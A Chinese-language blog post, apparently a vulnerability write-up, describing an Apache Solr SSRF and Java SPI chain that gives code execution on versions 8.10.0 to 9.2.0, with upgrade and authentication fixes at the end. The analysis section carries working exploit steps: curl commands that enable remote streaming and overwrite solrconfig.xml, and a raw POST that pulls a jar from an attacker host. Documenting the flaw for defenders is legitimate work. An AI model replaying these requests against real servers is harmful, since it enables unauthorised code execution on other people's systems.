Apache Solr 服务端请求伪造组合利用代码执行漏洞

文章详细介绍了ApacheSolr中的一个服务端请求伪造漏洞,该漏洞允许攻击者通过构造恶意的solrconfig.xml文件结合JavaSPI机制执行任意代码。影响版本为8.10.0到9.2.0。攻击者可以利用SSRFJar协议注入和SolrResourceLoader加载恶意jar执行RCE。修复方案包括升级到9.2.0以上版本以及加强Solr的身份验证。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、背景

Apache Solr 是一款开源的搜索引擎。

在Apache Solr 受影响版本中,由于Solr默认配置下存在服务端请求伪造漏洞,且SolrResourceLoader中实现了java SPI机制。当Solr以SolrCloud模式启动时,攻击者可以通过构造恶意的solrconfig.xml文件,组合利用从而执行任意java代码。

二、影响版本

org.apache.solr:solr-core@[8.10.0, 9.2.0)

三、漏洞分析

3.1SSRF问题:SSRF Jar协议 注入临时文件

Solr拥有出网条件下,有一个官方提供的一个正常功能接口,当requestDispatcher.requestParsers.enableRemoteStreaming参数远程设置为true后,可实现http协议ssrf,netdoc协议目录遍历,file协议读取任意文件,jar协议注入tmp文件。

首先,获取solr index名字:

http://xxx.xx.xx.xx.x:8983/solr/admin/cores?indexInfo=false&wt=json

第二步,设置远程参数为true:

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.x.x:8983/solr/上一步获取的doc名字/config -H 'Content-type:application/json'

 

 第三步,jar协议 注入tmp

POST /solr/doc名字/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx.xx.x.x:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close

--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"

jar:http://xxxx:8001/calc.jar?!/Calc.class
--------------------------5897997e44b07bf9--

此时可以看到SSRF漏洞已经成功执行。

3.2如何执行RCE?

SolrResourceLoader加载Evil Jar包执行static 代码块中恶意代码。

SPI 原理
SPI 服务的加载可以分为两部分:

  • 类全称限定名的获取,即知道哪些类是服务提供者。
  • 类加载,把获取到的类加载到内存中,涉及上下文类加载器。
    SPI机制在指定配置的情况下,ServiceLoader.load 根据传入的接口类,遍历 META-INF/services 目录下的以该类命名的文件中的所有类,然再用类加载器加载这些服务。
  • 获取到 SPI 服务实现类的文件之后,就可以使用类加载器将对应的类加载到内存中,也就会触发恶意类中的static代码块。

3.3上传覆盖恶意solrconfig.xml

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset/solrconfig.xml "http://xxx.xx.x.x:8983/solr/admin/configs?action=UPLOAD&name=lib&filePath=solrconfig.xml&overwrite=true"

 

四、修复方案

升级org.apache.solr:solr-core到 9.2.0 或更高版本

以 solrcloud 方式部署的机器不出网或添加Solr身份校验。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值